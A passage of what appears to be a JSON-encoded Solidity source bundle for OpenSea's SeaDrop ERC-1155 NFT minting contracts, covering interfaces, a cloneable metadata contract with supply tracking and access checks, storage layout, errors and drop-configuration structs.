totalMintedForTokenId,\n uint256 maxSupply\n ) = _getMintStats(minter, tokenId);\n\n // Encode the return data.\n return\n abi.encode(\n minterNumMinted,\n minterNumMintedForTokenId,\n totalMintedForTokenId,\n maxSupply\n );\n } else if (selector == ContractOffererInterface.ratifyOrder.selector) {\n // This function is a no-op, nothing additional needs to happen here.\n // Utilize assembly to efficiently return the ratifyOrder magic value.\n assembly {\n mstore(0, 0xf4dd92ce)\n return(0x1c, 32)\n }\n } else if (selector == ISeaDropToken.configurer.selector) {\n // Return the configurer contract.\n return abi.encode(_CONFIGURER);\n } else if (selector == IERC1155SeaDrop.multiConfigureMint.selector) {\n // Ensure only the owner or configurer can call this function.\n _onlyOwnerOrConfigurer();\n\n // Mint the tokens.\n _multiConfigureMint(data);\n } else {\n // Revert if the function selector is not supported.\n revert UnsupportedFunctionSelector(selector);\n }\n }\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists in enforcing maxSupply, maxTotalMintableByWallet,\n * and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC1155Received() hooks.\n *\n * @param minter The minter address.\n * @param tokenId The token id to return the stats for.\n */\n function _getMintStats(\n address minter,\n uint256 tokenId\n )\n internal\n view\n returns (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n )\n {\n // Put the token supply on the stack.\n TokenSupply storage tokenSupply = _tokenSupply[tokenId];\n\n // Assign the return values.\n totalMintedForTokenId = tokenSupply.totalMinted;\n maxSupply = tokenSupply.maxSupply;\n minterNumMinted = _totalMintedByUser[minter];\n minterNumMintedForTokenId = _totalMintedByUserPerToken[minter][tokenId];\n }\n\n /**\n * @dev Handle ERC-1155 safeTransferFrom. If \"from\" is this contract,\n * the sender can only be Seaport or the conduit.\n *\n * @param from The address to transfer from.\n * @param to The address to transfer to.\n * @param id The token id to transfer.\n * @param amount The amount of tokens to transfer.\n * @param data The data to pass to the onERC1155Received hook.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual override {\n if (from == address(this)) {\n // Only Seaport or the conduit can use this function\n // when \"from\" is this contract.\n if (\n msg.sender != _CONDUIT &&\n !ERC1155SeaDropContractOffererStorage.layout()._allowedSeaport[\n msg.sender\n ]\n ) {\n revert InvalidCallerOnlyAllowedSeaport(msg.sender);\n }\n return;\n }\n\n ERC1155._safeTransfer(_by(), from, to, id, amount, data);\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n virtual\n override(ERC1155ContractMetadataCloneable)\n returns (bool)\n {\n return\n interfaceId == type(IERC1155SeaDrop).interfaceId ||\n interfaceId == type(ContractOffererInterface).interfaceId ||\n interfaceId == 0x2e778efc || // SIP-5 (getSeaportMetadata)\n // ERC1155ContractMetadata returns supportsInterface true for\n // IERC1155ContractMetadata, ERC-4906, ERC-2981\n // ERC1155A returns supportsInterface true for\n // ERC165, ERC1155, ERC1155MetadataURI\n ERC1155ContractMetadataCloneable.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Internal function to mint tokens during a generateOrder call\n * from Seaport.\n *\n * @param data The original transaction calldata, without the selector.\n */\n function _mintOrder(bytes calldata data) internal {\n // Decode fulfiller, minimumReceived, and context from calldata.\n (\n address fulfiller,\n SpentItem[] memory minimumReceived,\n ,\n bytes memory context\n ) = abi.decode(data, (address, SpentItem[], SpentItem[], bytes));\n\n // Assign the minter from context[22:42]. We validate context has the\n // correct minimum length in the implementation's `_decodeOrder`.\n address minter;\n assembly {\n minter := shr(96, mload(add(add(context, 0x20), 22)))\n }\n\n // If the minter is the zero address, set it to the fulfiller.\n if (minter == address(0)) {\n minter = fulfiller;\n }\n\n // Set the token ids and quantities.\n uint256 minimumReceivedLength = minimumReceived.length;\n uint256[] memory tokenIds = new uint256[](minimumReceivedLength);\n uint256[] memory quantities = new uint256[](minimumReceivedLength);\n for (uint256 i = 0; i < minimumReceivedLength; ) {\n tokenIds[i] = minimumReceived[i].identifier;\n quantities[i] = minimumReceived[i].amount;\n unchecked {\n ++i;\n }\n }\n\n // Mint the tokens.\n _batchMint(minter, tokenIds, quantities, \"\");\n }\n\n /**\n * @dev Internal function to mint tokens during a multiConfigureMint call\n * from the configurer contract.\n *\n * @param data The original transaction calldata, without the selector.\n */\n function _multiConfigureMint(bytes calldata data) internal {\n // Decode the calldata.\n (\n address recipient,\n uint256[] memory tokenIds,\n uint256[] memory amounts\n ) = abi.decode(data, (address, uint256[], uint256[]));\n\n _batchMint(recipient, tokenIds, amounts, \"\");\n }\n}\n"
},
"src/interfaces/IERC1155SeaDrop.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { ISeaDropToken } from \"./ISeaDropToken.sol\";\n\nimport { PublicDrop } from \"../lib/ERC1155SeaDropStructs.sol\";\n\n/**\n * @dev A helper interface to get and set parameters for ERC1155SeaDrop.\n * The token does not expose these methods as part of its external\n * interface to optimize contract size, but does implement them.\n */\ninterface IERC1155SeaDrop is ISeaDropToken {\n /**\n * @notice Update the SeaDrop public drop parameters at a given index.\n *\n * @param publicDrop The new public drop parameters.\n * @param index The public drop index.\n */\n function updatePublicDrop(\n PublicDrop calldata publicDrop,\n uint256 index\n ) external;\n\n /**\n * @notice Returns the public drop stage parameters at a given index.\n *\n * @param index The index of the public drop stage.\n */\n function getPublicDrop(\n uint256 index\n ) external view returns (PublicDrop memory);\n\n /**\n * @notice Returns the public drop indexes.\n */\n function getPublicDropIndexes() external view returns (uint256[] memory);\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, maxTotalMintableByWalletPerToken,\n * and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC1155Received() hooks.\n *\n * @param minter The minter address.\n * @param tokenId The token id to return stats for.\n */\n function getMintStats(\n address minter,\n uint256 tokenId\n )\n external\n view\n returns (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n );\n\n /**\n * @notice This function is only allowed to be called by the configurer\n * contract as a way to batch mints and configuration in one tx.\n *\n * @param recipient The address to receive the mints.\n * @param tokenIds The tokenIds to mint.\n * @param amounts The amounts to mint.\n */\n function multiConfigureMint(\n address recipient,\n uint256[] calldata tokenIds,\n uint256[] calldata amounts\n ) external;\n}\n"
},
"src/interfaces/ISeaDropToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\nimport { AllowListData, CreatorPayout } from \"../lib/SeaDropStructs.sol\";\n\n/**\n * @dev A helper base interface for IERC721SeaDrop and IERC1155SeaDrop.\n * The token does not expose these methods as part of its external\n * interface to optimize contract size, but does implement them.\n */\ninterface ISeaDropToken is ISeaDropTokenContractMetadata {\n /**\n * @notice Update the SeaDrop allowed Seaport contracts privileged to mint.\n * Only the owner can use this function.\n *\n * @param allowedSeaport The allowed Seaport addresses.\n */\n function updateAllowedSeaport(address[] calldata allowedSeaport) external;\n\n /**\n * @notice Update the SeaDrop allowed fee recipient.\n * Only the owner can use this function.\n *\n * @param feeRecipient The new fee recipient.\n * @param allowed Whether the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(\n address feeRecipient,\n bool allowed\n ) external;\n\n /**\n * @notice Update the SeaDrop creator payout addresses.\n * The total basis points must add up to exactly 10_000.\n * Only the owner can use this function.\n *\n * @param creatorPayouts The new creator payouts.\n */\n function updateCreatorPayouts(\n CreatorPayout[] calldata creatorPayouts\n ) external;\n\n /**\n * @notice Update the SeaDrop drop URI.\n * Only the owner can use this function.\n *\n * @param dropURI The new drop URI.\n */\n function updateDropURI(string calldata dropURI) external;\n\n /**\n * @notice Update the SeaDrop allow list data.\n * Only the owner can use this function.\n *\n * @param allowListData The new allow list data.\n */\n function updateAllowList(AllowListData calldata allowListData) external;\n\n /**\n * @notice Update the SeaDrop allowed payers.\n * Only the owner can use this function.\n *\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(address payer, bool allowed) external;\n\n /**\n * @notice Update the SeaDrop allowed signer.\n * Only the owner can use this function.\n * An allowed signer can also disallow themselves.\n *\n * @param signer The signer to update.\n * @param allowed Whether the signer is allowed.\n */\n function updateSigner(address signer, bool allowed) external;\n\n /**\n * @notice Get the SeaDrop allowed Seaport contracts privileged to mint.\n */\n function getAllowedSeaport() external view returns (address[] memory);\n\n /**\n * @notice Returns the SeaDrop creator payouts.\n */\n function getCreatorPayouts() external view returns (CreatorPayout[] memory);\n\n /**\n * @notice Returns the SeaDrop allow list merkle root.\n */\n function getAllowListMerkleRoot() external view returns (bytes32);\n\n /**\n * @notice Returns the SeaDrop allowed fee recipients.\n */\n function getAllowedFeeRecipients() external view returns (address[] memory);\n\n /**\n * @notice Returns the SeaDrop allowed signers.\n */\n function getSigners() external view returns (address[] memory);\n\n /**\n * @notice Returns if the signed digest has been used.\n *\n * @param digest The digest hash.\n */\n function getDigestIsUsed(bytes32 digest) external view returns (bool);\n\n /**\n * @notice Returns the SeaDrop allowed payers.\n */\n function getPayers() external view returns (address[] memory);\n\n /**\n * @notice Returns the configurer contract.\n */\n function configurer() external view returns (address);\n}\n"
},
"src/clones/ERC1155ContractMetadataCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n IERC1155ContractMetadata\n} from \"../interfaces/IERC1155ContractMetadata.sol\";\n\nimport {\n ERC1155ConduitPreapproved\n} from \"../lib/ERC1155ConduitPreapproved.sol\";\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\nimport { ERC2981 } from \"solady/src/tokens/ERC2981.sol\";\n\nimport { Ownable } from \"solady/src/auth/Ownable.sol\";\n\nimport {\n Initializable\n} from \"@openzeppelin-upgradeable/contracts/proxy/utils/Initializable.sol\";\n\n/**\n * @title ERC1155ContractMetadataCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable token contract that extends ERC-1155\n * with additional metadata and ownership capabilities.\n */\ncontract ERC1155ContractMetadataCloneable is\n ERC1155ConduitPreapproved,\n ERC2981,\n Ownable,\n IERC1155ContractMetadata,\n Initializable\n{\n /// @notice A struct containing the token supply info per token id.\n mapping(uint256 => TokenSupply) _tokenSupply;\n\n /// @notice The total number of tokens minted by address.\n mapping(address => uint256) _totalMintedByUser;\n\n /// @notice The total number of tokens minted per token id by address.\n mapping(address => mapping(uint256 => uint256)) _totalMintedByUserPerToken;\n\n /// @notice The name of the token.\n string internal _name;\n\n /// @notice The symbol of the token.\n string internal _symbol;\n\n /// @notice The base URI for token metadata.\n string internal _baseURI;\n\n /// @notice The contract URI for contract metadata.\n string internal _contractURI;\n\n /// @notice The provenance hash for guaranteeing metadata order\n /// for random reveals.\n bytes32 internal _provenanceHash;\n\n /// @notice The allowed contract that can configure SeaDrop parameters.\n address internal _CONFIGURER;\n\n /**\n * @dev Reverts if the sender is not the owner or the allowed\n * configurer contract.\n *\n * This is used as a function instead of a modifier\n * to save contract space when used multiple times.\n */\n function _onlyOwnerOrConfigurer() internal view {\n if (msg.sender != _CONFIGURER && msg.sender != owner()) {\n revert Unauthorized();\n }\n }\n\n /**\n * @notice Deploy the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * configure parameters. Also contains SeaDrop\n * implementation code.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function __ERC1155ContractMetadataCloneable_init(\n address allowedConfigurer,\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n // Set the name of the token.\n _name = name_;\n\n // Set the symbol of the token.\n _symbol = symbol_;\n\n // Set the allowed configurer contract to interact with this contract.\n _CONFIGURER = allowedConfigurer;\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param newBaseURI The new base URI to set.\n */\n function setBaseURI(string calldata newBaseURI) external override {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the new base URI.\n _baseURI = newBaseURI;\n\n // Emit an event with the update.\n emit BatchMetadataUpdate(0, type(uint256).max);\n }\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external override {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the new contract URI.\n _contractURI = newContractURI;\n\n // Emit an event with the update.\n emit ContractURIUpdated(newContractURI);\n }\n\n /**\n * @notice Emit an event notifying metadata updates for\n * a range of token ids, according to EIP-4906.\n *\n * @param fromTokenId The start token id.\n * @param toTokenId The end token id.\n */\n function emitBatchMetadataUpdate(\n uint256 fromTokenId,\n uint256 toTokenId\n ) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Emit an event with the update.\n if (fromTokenId == toTokenId) {\n // If only one token is being updated, use the event\n // in the 1155 spec.\n emit URI(uri(fromTokenId), fromTokenId);\n } else {\n emit BatchMetadataUpdate(fromTokenId, toTokenId);\n }\n }\n\n /**\n * @notice Sets the max token supply and emits an event.\n *\n * @param tokenId The token id to set the max supply for.\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 tokenId, uint256 newMaxSupply) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Ensure the max supply does not exceed the maximum value of uint64,\n // a limit due to the storage of bit-packed variables in TokenSupply,\n if (newMaxSupply > 2 ** 64 - 1) {\n revert CannotExceedMaxSupplyOfUint64(newMaxSupply);\n }\n\n // Set the new max supply.\n _tokenSupply[tokenId].maxSupply = uint64(newMaxSupply);\n\n // Emit an event with the update.\n emit MaxSupplyUpdated(tokenId, newMaxSupply);\n }\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert if the provenance hash has already\n * been set, so be sure to carefully set it only once.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Keep track of the old provenance hash for emitting with the event.\n bytes32 oldProvenanceHash = _provenanceHash;\n\n // Revert if the provenance hash has already been set.\n if (oldProvenanceHash != bytes32(0)) {\n revert ProvenanceHashCannotBeSetAfterAlreadyBeingSet();\n }\n\n // Set the new provenance hash.\n _provenanceHash = newProvenanceHash;\n\n // Emit an event with the update.\n emit ProvenanceHashUpdated(oldProvenanceHash, newProvenanceHash);\n }\n\n /**\n * @notice Sets the default royalty information.\n *\n * Requirements:\n *\n * - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator of 10_000 basis points.\n */\n function setDefaultRoyalty(address receiver, uint96 feeNumerator) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the default royalty.\n // ERC2981 implementation ensures feeNumerator <= feeDenominator\n // and receiver != address(0).\n _setDefaultRoyalty(receiver, feeNumerator);\n\n // Emit an event with the updated params.\n emit RoyaltyInfoUpdated(receiver, feeNumerator);\n }\n\n /**\n * @notice Returns the name of the token.\n */\n function name() external view returns (string memory) {\n return _name;\n }\n\n /**\n * @notice Returns the symbol of the token.\n */\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view override returns (string memory) {\n return _baseURI;\n }\n\n /**\n * @notice Returns the contract URI for contract metadata.\n */\n function contractURI() external view override returns (string memory) {\n return _contractURI;\n }\n\n /**\n * @notice Returns the max token supply for a token id.\n */\n function maxSupply(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].maxSupply;\n }\n\n /**\n * @notice Returns the total supply for a token id.\n */\n function totalSupply(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].totalSupply;\n }\n\n /**\n * @notice Returns the total minted for a token id.\n */\n function totalMinted(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].totalMinted;\n }\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view override returns (bytes32) {\n return _provenanceHash;\n }\n\n /**\n * @notice Returns the URI for token metadata.\n *\n * This implementation returns the same URI for *all* token types.\n * It relies on the token type ID substitution mechanism defined\n * in the EIP to replace {id} with the token id.\n *\n * @custom:param tokenId The token id to get the URI for.\n */\n function uri(\n uint256 /* tokenId */\n ) public view virtual override returns (string memory) {\n // Return the base URI.\n return _baseURI;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC1155, ERC2981) returns (bool) {\n return\n interfaceId == type(IERC1155ContractMetadata).interfaceId ||\n interfaceId == 0x49064906 || // ERC-4906 (MetadataUpdate)\n ERC2981.supportsInterface(interfaceId) ||\n // ERC1155 returns supportsInterface true for\n // ERC165, ERC1155, ERC1155MetadataURI\n ERC1155.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Adds to the internal counters for a mint.\n *\n * @param to The address to mint to.\n * @param id The token id to mint.\n * @param amount The quantity to mint.\n * @param data The data to pass if receiver is a contract.\n */\n function _mint(\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual override {\n // Increment mint counts.\n _incrementMintCounts(to, id, amount);\n\n ERC1155._mint(to, id, amount, data);\n }\n\n /**\n * @dev Adds to the internal counters for a batch mint.\n *\n * @param to The address to mint to.\n * @param ids The token ids to mint.\n * @param amounts The quantities to mint.\n * @param data The data to pass if receiver is a contract.\n */\n function _batchMint(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual override {\n // Put ids length on the stack to save MLOADs.\n uint256 idsLength = ids.length;\n\n for (uint256 i = 0; i < idsLength; ) {\n // Increment mint counts.\n _incrementMintCounts(to, ids[i], amounts[i]);\n\n unchecked {\n ++i;\n }\n }\n\n ERC1155._batchMint(to, ids, amounts, data);\n }\n\n /**\n * @dev Subtracts from the internal counters for a burn.\n *\n * @param by The address calling the burn.\n * @param from The address to burn from.\n * @param id The token id to burn.\n * @param amount The amount to burn.\n */\n function _burn(\n address by,\n address from,\n uint256 id,\n uint256 amount\n ) internal virtual override {\n // Reduce the supply.\n _reduceSupplyOnBurn(id, amount);\n\n ERC1155._burn(by, from, id, amount);\n }\n\n /**\n * @dev Subtracts from the internal counters for a batch burn.\n *\n * @param by The address calling the burn.\n * @param from The address to burn from.\n * @param ids The token ids to burn.\n * @param amounts The amounts to burn.\n */\n function _batchBurn(\n address by,\n address from,\n uint256[] memory ids,\n uint256[] memory amounts\n ) internal virtual override {\n // Put ids length on the stack to save MLOADs.\n uint256 idsLength = ids.length;\n\n for (uint256 i = 0; i < idsLength; ) {\n // Reduce the supply.\n _reduceSupplyOnBurn(ids[i], amounts[i]);\n\n unchecked {\n ++i;\n }\n }\n\n ERC1155._batchBurn(by, from, ids, amounts);\n }\n\n function _reduceSupplyOnBurn(uint256 id, uint256 amount) internal {\n // Get the current token supply.\n TokenSupply storage tokenSupply = _tokenSupply[id];\n\n // Reduce the totalSupply.\n unchecked {\n tokenSupply.totalSupply -= uint64(amount);\n }\n }\n\n /**\n * @dev Internal function to increment mint counts.\n *\n * Note that this function does not check if the mint exceeds\n * maxSupply, which should be validated before this function is called.\n *\n * @param to The address to mint to.\n * @param id The token id to mint.\n * @param amount The quantity to mint.\n */\n function _incrementMintCounts(\n address to,\n uint256 id,\n uint256 amount\n ) internal {\n // Get the current token supply.\n TokenSupply storage tokenSupply = _tokenSupply[id];\n\n if (tokenSupply.totalMinted + amount > tokenSupply.maxSupply) {\n revert MintExceedsMaxSupply(\n tokenSupply.totalMinted + amount,\n tokenSupply.maxSupply\n );\n }\n\n // Increment supply and number minted.\n // Can be unchecked because maxSupply cannot be set to exceed uint64.\n unchecked {\n tokenSupply.totalSupply += uint64(amount);\n tokenSupply.totalMinted += uint64(amount);\n\n // Increment total minted by user.\n _totalMintedByUser[to] += amount;\n\n // Increment total minted by user per token.\n _totalMintedByUserPerToken[to][id] += amount;\n }\n }\n}\n"
},
"src/lib/ERC1155SeaDropContractOffererStorage.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { PublicDrop } from \"./ERC1155SeaDropStructs.sol\";\n\nimport { CreatorPayout } from \"./SeaDropStructs.sol\";\n\nlibrary ERC1155SeaDropContractOffererStorage {\n struct Layout {\n /// @notice The allowed Seaport addresses that can mint.\n mapping(address => bool) _allowedSeaport;\n /// @notice The enumerated allowed Seaport addresses.\n address[] _enumeratedAllowedSeaport;\n /// @notice The public drop data.\n mapping(uint256 => PublicDrop) _publicDrops;\n /// @notice The enumerated public drop indexes.\n uint256[] _enumeratedPublicDropIndexes;\n /// @notice The creator payout addresses and basis points.\n CreatorPayout[] _creatorPayouts;\n /// @notice The allow list merkle root.\n bytes32 _allowListMerkleRoot;\n /// @notice The allowed fee recipients.\n mapping(address => bool) _allowedFeeRecipients;\n /// @notice The enumerated allowed fee recipients.\n address[] _enumeratedFeeRecipients;\n /// @notice The allowed server-side signers.\n mapping(address => bool) _allowedSigners;\n /// @notice The enumerated allowed signers.\n address[] _enumeratedSigners;\n /// @notice The used signature digests.\n mapping(bytes32 => bool) _usedDigests;\n /// @notice The allowed payers.\n mapping(address => bool) _allowedPayers;\n /// @notice The enumerated allowed payers.\n address[] _enumeratedPayers;\n }\n\n bytes32 internal constant STORAGE_SLOT =\n bytes32(\n uint256(\n keccak256(\"contracts.storage.ERC1155SeaDropContractOfferer\")\n ) - 1\n );\n\n function layout() internal pure returns (Layout storage l) {\n bytes32 slot = STORAGE_SLOT;\n assembly {\n l.slot := slot\n }\n }\n}\n"
},
"src/lib/ERC1155SeaDropErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { PublicDrop } from \"./ERC1155SeaDropStructs.sol\";\n\nimport { SeaDropErrorsAndEvents } from \"./SeaDropErrorsAndEvents.sol\";\n\ninterface ERC1155SeaDropErrorsAndEvents is SeaDropErrorsAndEvents {\n /**\n * @dev Revert with an error if an empty PublicDrop is provided\n * for an already-empty public drop.\n */\n error PublicDropStageNotPresent();\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the\n * max minted per wallet for a certain token id.\n */\n error MintQuantityExceedsMaxMintedPerWalletForTokenId(\n uint256 tokenId,\n uint256 total,\n uint256 allowed\n );\n\n /**\n * @dev Revert with an error if the target token id to mint is not within\n * the drop stage range.\n */\n error TokenIdNotWithinDropStageRange(\n uint256 tokenId,\n uint256 startTokenId,\n uint256 endTokenId\n );\n\n /**\n * @notice Revert with an error if the number of maxSupplyAmounts doesn't\n * match the number of maxSupplyTokenIds.\n */\n error MaxSupplyMismatch();\n\n /**\n * @notice Revert with an error if the number of mint tokenIds doesn't\n * match the number of mint amounts.\n */\n error MintAmountsMismatch();\n\n /**\n * @notice Revert with an error if the mint order offer contains\n * a duplicate tokenId.\n */\n error OfferContainsDuplicateTokenId(uint256 tokenId);\n\n /**\n * @dev Revert if the fromTokenId is greater than the toTokenId.\n */\n error InvalidFromAndToTokenId(uint256 fromTokenId, uint256 toTokenId);\n\n /**\n * @notice Revert with an error if the number of publicDropIndexes doesn't\n * match the number of publicDrops.\n */\n error PublicDropsMismatch();\n\n /**\n * @dev An event with updated public drop data.\n */\n event PublicDropUpdated(PublicDrop publicDrop, uint256 index);\n}\n"
},
"src/lib/ERC1155SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { AllowListData, CreatorPayout } from \"./SeaDropStructs.sol\";\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in two storage slots.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n * @param paymentToken The payment token address. Null for\n * native token.\n * @param fromTokenId The start token id for the stage.\n * @param toTokenId The end token id for the stage.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param maxTotalMintableByWalletPerToken Maximum total number of mints a user\n * is allowed for the token id. (The limit for\n * this field is 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n */\nstruct PublicDrop {\n // slot 1\n uint80 startPrice; // 80/512 bits\n uint80 endPrice; // 160/512 bits\n uint40 startTime; // 200/512 bits\n uint40 endTime; // 240/512 bits\n bool restrictFeeRecipients; // 248/512 bits\n // uint8 unused;\n\n // slot 2\n address paymentToken; // 408/512 bits\n uint24 fromTokenId; // 432/512 bits\n uint24 toTokenId; // 456/512 bits\n uint16 maxTotalMintableByWallet; // 472/512 bits\n uint16 maxTotalMintableByWalletPerToken; // 488/512 bits\n uint16 feeBps; // 504/512 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n *\n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token for the mint. Null for\n * native token.\n * @param fromTokenId The start token id for the stage.\n * @param toTokenId The end token id for the stage.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param maxTotalMintableByWalletPerToken Maximum total number of mints a user\n * is allowed for the token id.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 startPrice;\n uint256 endPrice;\n uint256 startTime;\n uint256 endTime;\n address paymentToken;\n uint256 fromTokenId;\n uint256 toTokenId;\n uint256 maxTotalMintableByWallet;\n uint256 maxTotalMintableByWalletPerToken;\n uint256 maxTokenSupplyForStage;\n uint256 dropStageIndex; // non-zero\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @dev Struct containing internal SeaDrop implementation logic\n * mint details to avoid stack too deep.\n *\n * @param feeRecipient The fee recipient.\n * @param payer The payer of the mint.\n * @param minter The mint recipient.\n * @param tokenIds The tokenIds to mint.\n * @param quantities The number of tokens to mint per tokenId.\n * @param withEffects Whether to apply state changes of the mint.\n */\nstruct MintDetails {\n address feeRecipient;\n address payer;\n address minter;\n uint256[] tokenIds;\n uint256[] quantities;\n bool withEffects;\n}\n\n/**\n * @notice A struct to configure multiple contract options in one transaction.\n */\nstruct MultiConfigureStruct {\n uint256[] maxSupplyTokenIds;\n uint256[] maxSupplyAmounts;\n string baseURI;\n string contractURI;\n PublicDrop[] publicDrops;\n uint256[] publicDropsIndexes;\n string dropURI;\n AllowListData allowListData;\n CreatorPayout[] creatorPayouts;\n bytes32 provenanceHash;\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n address[] allowedPayers;\n address[] disallowedPayers;\n // Server-signed\n address[] allowedSigners;\n address[] disallowedSigners;\n // ERC-2981\n address royaltyReceiver;\n uint96 royaltyBps;\n // Mint\n address mintRecipient;\n uint256[] mintTokenIds;\n uint256[] mintAmounts;\n}\n"
},
"src/lib/SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\n/**\n * @notice A struct defining a creator payout address and basis points.\n *\n * @param payoutAddress The payout address.\n * @param basisPoints The basis points to pay out to the creator.\n * The total creator payouts must equal 10_000 bps.\n */\nstruct CreatorPayout {\n address payoutAddress;\n uint16 basisPoints;\n}\n\n/**\n * @notice A struct defining allow list data (for minting an allow list).\n *\n * @param merkleRoot The merkle root for the allow list.\n * @param publicKeyURIs If the allowListURI is encrypted, a list of URIs\n * pointing to the public keys. Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\nstruct AllowListData {\n bytes32 merkleRoot;\n string[] publicKeyURIs;\n string allowListURI;\n}\n"
},
"src/lib/ERC1155ConduitPreapproved.sol": {
